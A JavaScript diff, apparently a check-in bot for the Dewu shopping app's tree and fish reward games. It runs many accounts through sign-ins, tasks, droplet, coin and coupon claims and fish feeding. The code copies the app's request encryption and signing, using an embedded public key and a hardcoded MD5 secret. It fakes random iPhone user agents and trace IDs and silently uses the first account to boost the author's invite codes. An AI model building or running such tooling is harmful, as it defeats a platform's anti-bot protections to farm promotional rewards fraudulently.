console.log(e); + } + } + async DoWaterTeamApi(teamTreeId) { + let body = { "teamTreeId": teamTreeId } + try { + let result = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/team/tree/watering?sign=b5ee2c7e8d1aaf214886c438c4f25cd9`, body) + if (result.code == 200) { + $.log(`账号[${this.index}] 浇水成功🎉`) + if (result.data.coupons !== null) { + $.log(`账号[${this.index}] 浇水成功获得${result.data.coupons[0].limitDesc}🎉`) + + } + this.doWaterStatus = true + } else { + this.doWaterStatus = false + $.log(`❌账号[${this.index}] 浇水失败[${result.msg}]`); + + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async TreeInfo() { + try { + let result = await this.taskRequest("get", `https://app.dewu.com/hacking-tree/v1/user/target/info`) + //console.log(result); + if (result.code == 200) { + $.log(`账号[${this.index}] [${result.data.name}] Lv[${result.data.level}]🎉`) + + } else { + $.log(`❌账号[${this.index}] 获取🌳信息失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async TaskListTree() { + try { + let result = await this.taskRequest("get", `https://app.dewu.com/hacking-tree/v1/task/list`) + //console.log(result); + if (result.code == 200) { + $.log(`账号[${this.index}] 获取任务列表成功 采集/领取 集到[${result.data.taskList.length}]条任务🎉`) + for (let i of result.data.taskList) { + this.taskListTree.push(i) + } + for (let i of this.taskListTree) { + let taskStatus = false + if (i.isComplete == false) { + await $.wait(2500) + if (i.taskType == 1) { + if (i.classify == 2) { + //浏览 + + taskStatus = await this.DoTask(i) + } + if (i.classify == 1) { + //完成固定次数浇灌 默认5次 + } + } + if (i.taskType == 10) { + //固定时间段领取 40g + } + if (i.taskType == 123) { + taskStatus = await this.DoTask(i) + //从桌面组件访问 + } + if (i.taskType == 50) { + taskStatus = await this.DoTask(i) + //收藏 + } + if (i.taskType == 201) { + //逛95分 + } + if (i.taskType == 4) { + //收集一次水滴生产 + } + } else if (i.isComplete == true && i.isReceiveReward == false) { + await $.wait(2500) + await this.TaskReceiveTree(i) + } + if (taskStatus) { + await $.wait(2500) + await this.TaskReceiveTree(i) + } + } + } else { + $.log(`❌账号[${this.index}] 获取任务列表成功🎉失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async SignListTree() { + try { + let result = await this.taskRequest("get", `https://app.dewu.com/hacking-tree/v1/sign/list`) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 今日${result.data.status == 1 ? "未签到" : "已签到"}🎉`) + if (result.data.status == 1) { + let SignInResult = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/sign/sign_in`, {}) + if (SignInResult.code == 200) { + $.log(`账号[${this.index}] 签到领取水滴[${SignInResult.msg}] --- [${SignInResult.data.Num}]🎉`) + } else { + $.log(`账号[${this.index}] 签到领取水滴[${SignInResult.msg}]`) + } + } + } else { + $.log(`❌账号[${this.index}] 获取签到列表失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async SignListFish() { + try { + let result = await this.taskRequest_task("get", `https://app.dewu.com/hacking-fish/v1/daily_sign/list`) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 今日${result.data.status == 1 ? "未签到" : "已签到"}🎉`) + if (result.data.status == 1) { + let SignInResult = await this.taskRequest("post", `https://app.dewu.com/hacking-fish/v1/daily_sign/receive`, {}) + if (SignInResult.code == 200) { + $.log(`账号[${this.index}] 签到领取鱼食[${SignInResult.msg}] --- [${SignInResult.data.Num}]🎉`) + } else { + $.log(`账号[${this.index}] 签到领取鱼食[${SignInResult.msg}]`) + } + } + } else { + $.log(`❌账号[${this.index}] 获取签到列表失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async PointInfo() { + try { + let result = await this.taskRequest_task("get", `https://app.dewu.com/hacking-game-center/v1/gold/balance`) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 潮金币[${result.data.coinDetailList[0].value}]`); + } else { + $.log(`❌账号[${this.index}] 获取潮金币信息失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async PointTaskList() { + try { + let result = await this.taskRequest_task("get", `https://app.dewu.com/hacking-game-center/v1/sign/task_list`) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + for (let i of result.data.list) { + let taskStatus = false + if (i.isComplete == false) { + if (i.taskType == 1) { + i.classify = 2 + taskStatus = await this.DoTask(i) + } + if (i.taskType == 50) { + await $.wait(2500) + taskStatus = await this.DoTask(i) + //收藏 + } + } else if (i.isComplete == true && i.isReceiveReward == false) { + await $.wait(2500) + await this.TaskReceivePoint(i) + } + if (taskStatus == true) { + await $.wait(2500) + await this.TaskReceivePoint(i) + } + } + } else { + $.log(`❌账号[${this.index}] 获取潮金币任务列表失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async PonitSignIn() { + try { + let result = await this.taskRequest("post", `https://app.dewu.com/hacking-game-center/v1/sign/sign`, {}) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 外部活动潮币签到成功 获得[${result.data.coins}g💧]🎉`) + } else { + $.log(`❌账号[${this.index}] 外部活动潮币签到失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async Droplet_ExtraInfo() { + try { + let result = await this.taskRequest("get", `https://app.dewu.com/hacking-tree/v1/droplet-extra/info`) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 气泡水滴 可领取 --- 💧🎉`) + let receiveResult = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/droplet-extra/receive`, {}) + //console.log(JSON.stringify(result)); + if (receiveResult.code == 200) { + $.log(`账号[${this.index}] 领取气泡水滴[${receiveResult.msg}] --- [${receiveResult.data.totalDroplet}g]💧🎉`) + } else { + $.log(`❌账号[${this.index}] 领取气泡失败[${receiveResult.msg}]`); + //console.log(result); + } + } else { + $.log(`❌账号[${this.index}] 气泡水滴获取失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async Droplet_Get_Generate_Droplet() { + try { + let result = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/droplet/get_generate_droplet`, {}) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 领取小木桶积攒水滴[${result.msg}] --- [${result.data.droplet}g]💧🎉`) + } else { + $.log(`❌账号[${this.index}] 领取小木桶积攒水滴失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async TaskReceiveFish(body) { + try { + let result = await this.taskRequest("post", `https://app.dewu.com/hacking-fish/v1/task/receive?sign=ee632e4b8e24d2526737bca0b7c0c678`, { taskId: body.taskId, classify: body.classify }) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 领取任务奖励[${result.msg}] --- [${result.data.num}g]💧🎉`) + + } else { + $.log(`❌账号[${this.index}] 领取任务奖励失败[${result.msg}]`); + //console.log(body.taskId); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async TaskReceiveTree(body) { + try { + let result = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/task/receive?sign=15c051cc7af50c30318c05b539e434e7`, { taskId: body.taskId, classify: body.classify }) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 领取任务奖励[${result.msg}] --- [${result.data.num}g]💧🎉`) + } else { + //console.log(body.taskId); + $.log(`❌账号[${this.index}] 领取任务奖励失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async Get_Tree_Info() { + try { + let result = await this.taskRequest("get", `https://app.dewu.com/hacking-tree/v1/tree/get_tree_info`) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] [${result.data.treeId}] 成熟进度 --- [${result.data.userWateringDroplet}/${result.data.currentLevelNeedWateringDroplet}g]💧🎉`) + + } else { + $.log(`❌账号[${this.index}] 获取🌳成长信息失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async TaskListFish() { + try { + let result = await this.taskRequest("get", `https://app.dewu.com/hacking-fish/v1/task/list`) + //console.log(JSON.stringify(result)); + if (result.code == 200) { + $.log(`账号[${this.index}] 获取任务列表成功 采集/领取 [${result.data.taskList.length}]条任务🎉`) + for (let i of result.data.taskList) { + this.taskListFish.push(i) + } + for (let i of this.taskListFish) { + let taskStatus = false + if (i.isComplete == false) { + await $.wait(2500) + if (i.taskType == 1) { + if (i.classify == 2) { + //浏览 + + taskStatus = await this.DoTask(i) + } + if (i.classify == 1) { + //完成固定次数浇灌 默认5次 + } + } + if (i.taskType == 100001) { + //喂养5次 + } + if (i.taskType == 124) { + taskStatus = await this.DoTask(i) + //从桌面组件访问 + } + if (i.taskType == 50) { + taskStatus = await this.DoTask(i) + //收藏 + } + if (i.taskType == 201) { + //逛95分 + } + if (i.taskType == 100002) { + //30g鱼食 每日9点/13点/17点/21点各领一次 + } + } else if (i.isComplete == true && i.isReceiveReward == false) { + await $.wait(3000) + await this.TaskReceiveFish(i) + } + if (taskStatus) { + await $.wait(3000) + await this.TaskReceiveFish(i) + } + } + } else { + $.log(`❌账号[${this.index}] 获取任务🐟失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + async UserInit() { + let result = { + code: 0, + msg: "获取🌳信息失败", + } + try { + let authHelpCode = ""; + if (this.index == 1) { + for (let j of authShareCodeList) { + authHelpCode = j + result = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/user/init?sign=d25c30ebdf1adeb29ca10ccb825bbf66`, { "keyword": "", "source": "wotab04", "koc": 0, "ffOfflineFlag": "", "keywordType": 0 }) + if (result.code == 200) { + if ("inviteRes" in result.data) { + if (result.data.inviteRes.indexOf("成功") != -1) { + $.log(`首账号助力作者成功`) + break + } + } + } + } + let helpCodeResult = await this.taskRequest("post", "https://app.dewu.com/hacking-tree/v1/keyword/gen?sign=fe26befc49444d362c8f17463630bdba", {}) + if (helpCodeResult.code == 200) { + let kw = helpCodeResult.data.keyword + helpCode = kw.split("œ")[1] + $.log(`首账号助力码[${helpCode}]`) + } + } else { + result = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/user/init?sign=d25c30ebdf1adeb29ca10ccb825bbf66`, { "keyword": "", "source": "wotab04", "koc": 0, "ffOfflineFlag": "", "keywordType": 0 }) + } + if (result.code == 200) { + $.log(`账号[${this.index}] [${result.msg}] 剩余水滴[${result.data.droplet}g] 助力[${this.index == 1 ? "作者:" + authHelpCode : helpCode}][${"inviteRes" in result.data ? result.data.inviteRes : "未成功"}]🎉`) + this.treeId = result.data.treeId + this.droplet = result.data.droplet + this.treeMode = result.data.mode + + + } else { + $.log(`❌账号[${this.index}] 获取🌳信息失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + + async TreeInviteReward() { + try { + let result = await this.taskRequest("get", `https://app.dewu.com/hacking-tree/v1/invite/list`, `sign=fe26befc49444d362c8f17463630bdba`) + + if (result.code == 200) { + if (result.data?.list) { + for (let i of result.data.list) { + if (i.status == 0) { + let body = { "inviteeUserId": i.inviteeUserId } + let rewardResult = await this.taskRequest("post", `https://app.dewu.com/hacking-tree/v1/invite/reward`, body) + if (rewardResult.code == 200) { + $.log(`账号[${this.index}] 领取邀请奖励成功 获取[${rewardResult.data.droplet}]g`); + } + + } + } + } + + + } + } catch (e) { + console.log(e); + } + } + async TeamInfo() { + try { + let result = await this.taskRequest("get", `https://app.dewu.com/hacking-tree/v1/team/info`) + //console.log(result); + if (result.code == 200) { + for (let i of result.data.member) { + if (i.isCaptain == true) { + $.log(`账号[${this.index}] 组队队长[${i.name}] 今日是否上线[${i.status == 1 ? '是' : '否'}]`) + } else { + $.log(`账号[${this.index}] 组员[${i.name}] 今日是否上线[${i.status == 1 ? '是' : '否'}]`) + } + } + } else { + $.log(`❌账号[${this.index}] 获取队伍🌳🎉失败[${result.msg}]`); + //console.log(result); + } + + + + } catch (e) { + console.log(e); + } + } + async UserFinshInfo() { + try { + let result = await this.taskRequest_task("get", `https://app.dewu.com/hacking-fish/v1/user/home?userSelectFishId=0&sign=5d75086e825f0fcea4b2cbdf5e6d940f`) + //console.log(result); + let fishName = "" + let lv = "" + let progress = "" + if (result.code == 200) { + this.fishId = result.data.selectFishId + for (let j of result.data.fishList) { + if (this.fishId == j.fishId) { + this.fishType = j.type + fishName = j.typeData.name + lv = j.level + progress = j.progress + break; + } + } + $.log(`账号[${this.index}] [${fishName}]等级[${lv}] [${progress}/1000000] 剩余※鱼食🐟[${result.data.balance}g]🎉`) + if (result.data.balance > 0) { + $.log(`账号[${this.index}] 喂食🐟${parseInt(result.data.balance / 10)}次,开始喂食`); + for (let i = 0; i < parseInt(result.data.balance / 10); i++) { + if (this.fishFeedStatus) { + await this.FishFeed() + //随机延迟random + await $.wait(this.randomNumber(1000, 2000)) + } + } + } + + } else { + $.log(`❌账号[${this.index}] 获取用户信息成功🎉失败[${result.msg}]`); + //console.log(result); + } + } catch (e) { + console.log(e); + } + } + findMissingNumbers(arr) { + const nums = [0, 1, 2, 3, 4, 5, 6, 7, 8]; + const missing = []; + + for (const num of nums) { + if (!arr.includes(num)) { + missing.push(num); + } + } + + return missing; + } + //randominit + randomNumber(min, max) { + return Math.floor(Math.random() * (max - min)) + min; + } + async taskRequest(method, url, body = {}) { + // + + let headers = { + "Host": "app.dewu.com", + + "SK": this.sk, + + "x-auth-token": "Bearer " + this.ck, + + "duToken": "" + this.duToken, + + "cookieToken": "" + this.duToken, + "traceparent": this.generateIds(), + "User-Agent": this.ua, + + "sks": "1,hdw3", + + + "Cookie": "duToken=" + this.duToken + } + const reqeuestOptions = { + url: url, + method: method, + headers: headers + + } + //console.log(body); + let { enData, n } = this.createEncryptedBody(JSON.stringify(body)) + reqeuestOptions.headers["a"] = n + //console.log(enData); + method == "get" ? (reqeuestOptions.url.split("?")[1] != undefined ? reqeuestOptions.url += "&data=" + encodeURIComponent(enData.data) : reqeuestOptions.url += "?data=" + encodeURIComponent(enData.data)) : Object.assign(reqeuestOptions, { body: JSON.stringify({ data: enData.data }) }) + //console.log(reqeuestOptions) + try { + let { body: result } = await $.httpRequest(reqeuestOptions) + if (!$.isJson(result)) { + result = JSON.parse(this.decryptResponseBody(result, n)) + } + //console.log(result); + return result + + } catch (error) { + //console.log(error); + // $.log(`接口请求失败 `) + return { code: 0, msg: "接口请求失败" } + } + + } + generateIds() { + var Uo = Array(32); + var oe = "0000000000000000"; + + function Ho(e) { + for (var t = 0; t < 2 * e; t++) + Uo[t] = Math.floor(16 * Math.random()) + 48, + Uo[t] >= 58 && (Uo[t] += 39); + return String.fromCharCode.apply(null, Uo.slice(0, 2 * e)); + } + + var Mo = "00000000000000000000000000000000"; // Assuming Mo is defined somewhere else in your code + + var generateSpanId = function () { + return function (e) { + var t = e(8); + if (t === oe) + return Mo; + return t; + }(Ho); + }; + + var generateTraceId = function () { + return function (e) { + var t = Math.floor(Date.now() / 1e3).toString(16), + n = e(8), + r = e(3); + return "f5" + r + t + n; + }(Ho); + }; + + return "00-" + generateTraceId() + "-" + generateSpanId() + "-01" + }; + + async taskRequest_task(method, url, body = "") { + + + let headers = { + "Host": "app.dewu.com", + "Connection": "keep-alive", + //"Content-Length": "62", + //"ua": "duapp/5.37.0(android;10)", + //"Origin": "https://cdn-m.dewu.com", + //"appid": "h5", + "SK": this.sk, + /*"shumeiId": "20240229101108a9d7deaedd9e5e305209da327c58c8fc21a0fe159c45b78d",*/ + /*"deviceTrait": "MI+8+Lite",*/ + "x-auth-token": "Bearer " + this.ck, + /*"Sec-Fetch-Dest": "empty", + "channel": "xiaomi", + "duToken": "d41d8cd9|1630362958|1711360875|4bf085e789d085b0", + "appVersion": "5.37.0", + "emu": "0",*/ + //"cookieToken": "d41d8cd9|1630362958|1711360875|4bf085e789d085b0", + "traceparent": this.generateIds(), + /*"dudeliveryid": "79F073E7555D2BD9490AF2270549ADBABDFE24914A4EEF24D4D5C25559243BDD",*/ + "User-Agent": this.ua, + //"duproductid": "0BC86B71CB9BA08726EDD70256925177BDFE24914A4EEF24D4D5C25559243BDD", + "Content-Type": "application/json", + /*"isRoot": "0", + "imei": "", + "duid": "0BC86B71CB9BA08726EDD70256925177BDFE24914A4EEF24D4D5C25559243BDD", + "platform": "h5", + "isProxy": "0", + */ + /*"X-Requested-With": "com.shizhuang.duapp", + "Sec-Fetch-Site": "same-site", + "Sec-Fetch-Mode": "cors", + "Referer": "https://cdn-m.dewu.com/h5-growth/game-task?gameTaskFlag=true&taskId=Nr52k&taskType=50&countdownIcon=%7B%22countdownIcon%22%3A%22https%3A%2F%2Fcdn.poizon.com%2Fnode-common%2F28c7b3d4060e086551dcc84eca7bfbeb.png%22%2C%22hideCountdownIcon%22%3A%22https%3A%2F%2Fcdn.poizon.com%2Fnode-common%2Fa8b472c7622a53454d82745345cefa71.png%22%2C%22coordinate%22%3A%2212%2C600%22%7D&scrollbarColor=%2301C1C2&fontColor=%23FFFFFF&btd=83500&goodsCollect=goodsDetail&popId=0", + "Accept-Encoding": "gzip, deflate", + "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",*/ + "Cookie": `duToken=${this.duToken};` + } + const reqeuestOptions = { + url: url, + method: method, + headers: headers + + } + body == "" ? "" : Object.assign(reqeuestOptions, { body: JSON.stringify(body) }) + //console.log(reqeuestOptions) + try { + let { body: result } = await $.httpRequest(reqeuestOptions) + return result + } catch (error) { + // $.log(`接口请求失败 `) + return { code: 0, msg: "接口请求失败" } + } + // + + } + createEncryptedBody(data) { + const key2 = "MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANMGZPlLobHYWoZyMvHD0a6emIjEmtf5Z6Q++VIBRulxsUfYvcczjB0fMVvAnd1douKmOX4G690q9NZ6Q7z/TV8CAwEAAQ=="; + const publicKeyPem = '-----BEGIN PUBLIC KEY-----\n' + + key2 + + '-----END PUBLIC KEY-----'; + + global["window"] = {} + const jsencrypt = require("jsencrypt") + const crypt = new jsencrypt() + crypt.setKey(publicKeyPem) + const n = this.randomStr(48, 16); + const encrypted = crypt.encrypt(n) + const enBody = CryptoJS.enc.Utf8.parse(data); + const enResult = CryptoJS.AES.encrypt(enBody, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), { + iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)), + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7, + }); + //console.log(encrypted); + //console.log(hexToBase64(encrypted)); + const newBody = { + data: encrypted + "​" + enResult.ciphertext.toString().toUpperCase(), + }; + newBody.sign = this.calculateSign(newBody); + return { enData: newBody, n }; + function hexToBase64(hexString) { + const buffer = Buffer.from(hexString, 'hex'); + const base64String = buffer.toString('base64'); + return base64String; + } + } + randomStr(length, charset) { var tmp1, tmp2, data = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".split(""), result = []; if (((charset = charset || data["length"]), length)) for (tmp1 = 0; tmp1 < length; tmp1++)result[tmp1] = data[0 | (Math.random() * charset)]; else for (result[8] = result[13] = result[18] = result[23] = "-", result[14] = "4", tmp1 = 0; tmp1 < 36; tmp1++)result[tmp1] || ((tmp2 = 0 | (16 * Math["random"]())), (result[tmp1] = data[19 === tmp1 ? (3 & tmp2) | 8 : tmp2])); return result["join"]("") } + decryptResponseBody(result, n) { + try { + const de1 = CryptoJS.enc.Hex.parse(result), + de2 = CryptoJS.enc.Base64.stringify(de1); + const decrypted = CryptoJS.AES.decrypt(de2, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), { + iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)), + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7, + }).toString(CryptoJS.enc.Utf8); + return decrypted; + } catch (error) { + n = "987654321012345678901234567890123456789012345678" + const de1 = CryptoJS.enc.Hex.parse(result), + de2 = CryptoJS.enc.Base64.stringify(de1); + const decrypted = CryptoJS.AES.decrypt(de2, CryptoJS.enc.Utf8.parse(n.substr(10, 16)), { + iv: CryptoJS.enc.Utf8.parse(n.substr(20, 16)), + mode: CryptoJS.mode.CBC, + padding: CryptoJS.pad.Pkcs7, + }).toString(CryptoJS.enc.Utf8); + return decrypted; + } + + } + //修复自 修改处理后 空值删除得情况 改为不删除 + calculateSign(requestBody) { const sortedKeys = Object.keys(requestBody).sort(); let signContent = sortedKeys.reduce((acc, key) => { const value = requestBody[key]; if (value === null) { return acc } if (typeof value === 'object' && !Array.isArray(value)) { return acc.concat(key).concat(JSON.stringify(value)) } if (Array.isArray(value)) { if (value.length > 0) { let typeOfFirstItem = typeof value[0]; if (typeOfFirstItem === 'object') { let arrayStr = ''; value.forEach((item, index) => { arrayStr += JSON.stringify(item) + (index !== value.length - 1 ? ',' : '') }); return acc.concat(key).concat(arrayStr) } } return acc.concat(key).concat(value.toString()) } return acc.concat(key).concat(value.toString()) }, ''); const secretKey = "048a9c4943398714b356a696503d2d36"; const hashedContent = CryptoJS.MD5(signContent.concat(secretKey)).toString(); return hashedContent } + + getRandomUA() { + // 生成 iOS 版本号 + const iOSVersion = (Math.floor(Math.random() * (161 - 120) + 120) / 10).toFixed(1); + + // 生成 AppleWebKit 版本号 + const AppleWebKitVersion = `${Math.floor(Math.random() * (605 - 500) + 500)}.${Math.floor(Math.random() * 10)}.${Math.floor(Math.random() * 20)}`; + + // 生成 Mobile 版本号 + const mobileVersion = `${Math.floor(Math.random() * 10)}${String.fromCharCode(65 + Math.floor(Math.random() * 26))}${Math.floor(Math.random() * 10)}`; + + // 生成 User-Agent 字符串 + const userAgent = `Mozilla/5.0 (iPhone; CPU iPhone OS ${iOSVersion} like Mac OS X) AppleWebKit/${AppleWebKitVersion} (KHTML, like Gecko) Mobile/${mobileVersion}/duapp/5.38.6`; + + return userAgent; + } + +} + + + + +!(async () => { + if (!(await checkEnv())) return; + if (userList.length > 0) { + await main() + + } + await $.sendMsg($.logs.join("\n")) +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +//******************************************************** +/** + * @returns + */ +async function checkEnv() { + let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; + if (userCookie) { + let e = envSplitor[0]; + for (let o of envSplitor) { + if (userCookie.indexOf(o) > -1) { + e = o; + break; + } + } + + for (let n of userCookie.split(e)) { + + n && userList.push(new Task(n)); + } + } else { + console.log(`未找到CK变量名【${ckName}】`); + return; + } + return console.log(`共找到${userList.length}个账号`), true; //true == !0 +} +//Env Api ============================= +/* +* @modifyAuthor @smallfawn +* @modifyTime 2024-03-25 +* @modifyInfo 重写请求函数 在got环境或axios环境都可以请求 删除不必要的函数 +*/ +function Env(t, s) { + return new (class { + constructor(t, s) { + this.name = t; + this.data = null; + this.dataFile = "box.dat"; + this.logs = []; + this.logSeparator = "\n"; + this.startTime = new Date().getTime(); + Object.assign(this, s); + this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`); + } + isNode() { + return "undefined" != typeof module && !!module.exports; + } + isQuanX() { + return "undefined" != typeof $task; + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon; + } + isLoon() { + return "undefined" != typeof $loon; + } + async loaddata() { + if (!this.isNode()) return {}; + this.fs = this.fs ? this.fs : require("fs"); + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + if (!e && !i) this.writeFile(this.dataFile, JSON.stringify([])); + const pt = e ? t : s; + let r = await this.readFile(pt); + return r + } + async writedata() { + if (!this.isNode()) return; + this.fs = this.fs ? this.fs : require("fs"); + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + s = this.path.resolve(process.cwd(), this.dataFile), + e = this.fs.existsSync(t), + i = !e && this.fs.existsSync(s); + const o = JSON.stringify(this.data, null, 2); + const pt = e ? t : i ? s : t; + await writeFile(pt, o) + } + readFile(pt) { + this.fs = this.fs ? this.fs : require("fs"); + return new Promise((resolve, reject) => { + this.fs.readFile(pt, "utf8", (r, o) => { + if (r) reject({}); + else o = this.isJSONString(o) ? JSON.parse(o) : o; + resolve(o); + }); + }); + } + writeFile(pt, o) { + this.fs = this.fs ? this.fs : require("fs"); + return new Promise((resolve, reject) => { + this.fs.writeFile(pt, o, (r) => { + if (r) reject(r); + else resolve(); + }); + }); + } + async getval(t) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.read(t); + } else if (this.isQuanX()) { + return $prefs.valueForKey(t); + } else if (this.isNode()) { + this.data = await this.loaddata(); + return await this.data[t]; + } else { + return (this.data && this.data[t]) || null; + } + } + async setval(t, s) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.write(t, s); + } else if (this.isQuanX()) { + return $prefs.setValueForKey(t, s); + } else if (this.isNode()) { + this.data = await this.loaddata(); + this.data[s] = t; + await this.writedata(); + return true; + } else { + return (this.data && this.data[s]) || null; + } + } + initRequestEnv(t) { + try { + require.resolve("got") && + ((this.requset = require("got")), (this.requestModule = "got")); + } catch (e) { } + try { + require.resolve("axios") && + ((this.requset = require("axios")), (this.requestModule = "axios")); + } catch (e) { } + this.cktough = this.cktough ? this.cktough : require("tough-cookie"); + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar(); + if (t) { + t.headers = t.headers ? t.headers : {}; + if ( + typeof t.headers.Cookie === "undefined" && + typeof t.cookieJar === "undefined" + ) { + t.cookieJar = this.ckjar; + } + } + } + queryStr(options) { + return Object.entries(options) + .map( + ([key, value]) => + `${key}=${typeof value === "object" ? JSON.stringify(value) : value + }` + ) + .join("&"); + } + getURLParams(url) { + const params = {}; + const queryString = url.split("?")[1]; + if (queryString) { + const paramPairs = queryString.split("&"); + paramPairs.forEach((pair) => { + const [key, value] = pair.split("="); + params[key] = value; + }); + } + return params; + } + isJSONString(str) { + try { + return JSON.parse(str) && typeof JSON.parse(str) === "object"; + } catch (e) { + return false; + } + } + isJson(obj) { + var isjson = + typeof obj == "object" && + Object.prototype.toString.call(obj).toLowerCase() == + "[object object]" && + !obj.length; + return isjson; + } + async sendMsg(message) { + if (!message) return; + if ($.isNode()) { + await notify.sendNotify($.name, message); + } else { + $.msg($.name, "", message); + } + } + async httpRequest(options) { + let t = { ...options }; + t.headers = t.headers || {}; + if (t.params) { + t.url += "?" + this.queryStr(t.params); + } + t.method = t.method.toLowerCase(); + if (t.method === "get") { + delete t.headers["Content-Type"]; + delete t.headers["Content-Length"]; + delete t.headers["content-type"]; + delete t.headers["content-length"]; + delete t.body; + } else if (t.method === "post") { + let ContentType; + if (!t.body) { + t.body = ""; + } else if (typeof t.body === "string") { + ContentType = this.isJSONString(t.body) + ? "application/json" + : "application/x-www-form-urlencoded"; + } else if (this.isJson(t.body)) { + t.body = JSON.stringify(t.body); + ContentType = "application/json"; + } + if (!t.headers["Content-Type"] && !t.headers["content-type"]) { + t.headers["Content-Type"] = ContentType; + } + } + if (this.isNode()) { + this.initRequestEnv(t); + if (this.requestModule === "axios" && t.method === "post") { + t.data = t.body; + delete t.body; + } + let httpResult; + if (this.requestModule === "got") { + httpResult = await this.requset(t); + if (this.isJSONString(httpResult.body)) { + httpResult.body = JSON.parse(httpResult.body); + } + } else if (this.requestModule === "axios") { + httpResult = await this.requset(t); + httpResult.body = httpResult.data; + } + return httpResult; + } + if (this.isQuanX()) { + t.method = t.method.toUpperCase(); + return new Promise((resolve, reject) => { + $task.fetch(t).then((response) => { + if (this.isJSONString(response.body)) { + response.body = JSON.parse(response.body); + } + resolve(response); + }); + }); + } + } + randomNumber(length) { + const characters = "0123456789"; + return Array.from( + { length }, + () => characters[Math.floor(Math.random() * characters.length)] + ).join(""); + } + randomString(length) { + const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; + return Array.from( + { length }, + () => characters[Math.floor(Math.random() * characters.length)] + ).join(""); + } + timeStamp() { + return new Date().getTime(); + } + uuid() { + return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace( + /[xy]/g, + function (c) { + var r = (Math.random() * 16) | 0, + v = c == "x" ? r : (r & 0x3) | 0x8; + return v.toString(16); + } + ); + } + time(t) { + let s = { + "M+": new Date().getMonth() + 1, + "d+": new Date().getDate(), + "H+": new Date().getHours(), + "m+": new Date().getMinutes(), + "s+": new Date().getSeconds(), + "q+": Math.floor((new Date().getMonth() + 3) / 3), + S: new Date().getMilliseconds(), + }; + /(y+)/.test(t) && + (t = t.replace( + RegExp.$1, + (new Date().getFullYear() + "").substr(4 - RegExp.$1.length) + )); + for (let e in s) + new RegExp("(" + e + ")").test(t) && + (t = t.replace( + RegExp.$1, + 1 == RegExp.$1.length + ? s[e] + : ("00" + s[e]).substr(("" + s[e]).length) + )); + return t; + } + msg(s = t, e = "", i = "", o) { + const h = (t) => + !t || (!this.isLoon() && this.isSurge()) + ? t + : "string" == typeof t + ? this.isLoon() + ? t + : this.isQuanX() + ? { "open-url": t } + : void 0 + : "object" == typeof t && (t["open-url"] || t["media-url"]) + ? this.isLoon() + ? t["open-url"] + : this.isQuanX() + ? t + : void 0 + : void 0; + this.isMute || + (this.isSurge() || this.isLoon() + ? $notification.post(s, e, i, h(o)) + : this.isQuanX() && $notify(s, e, i, h(o))); + let logs = ["", "==============📣系统通知📣=============="]; + logs.push(t); + e ? logs.push(e) : ""; + i ? logs.push(i) : ""; + console.log(logs.join("\n")); + this.logs = this.logs.concat(logs); + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)); + } + logErr(t, s) { + 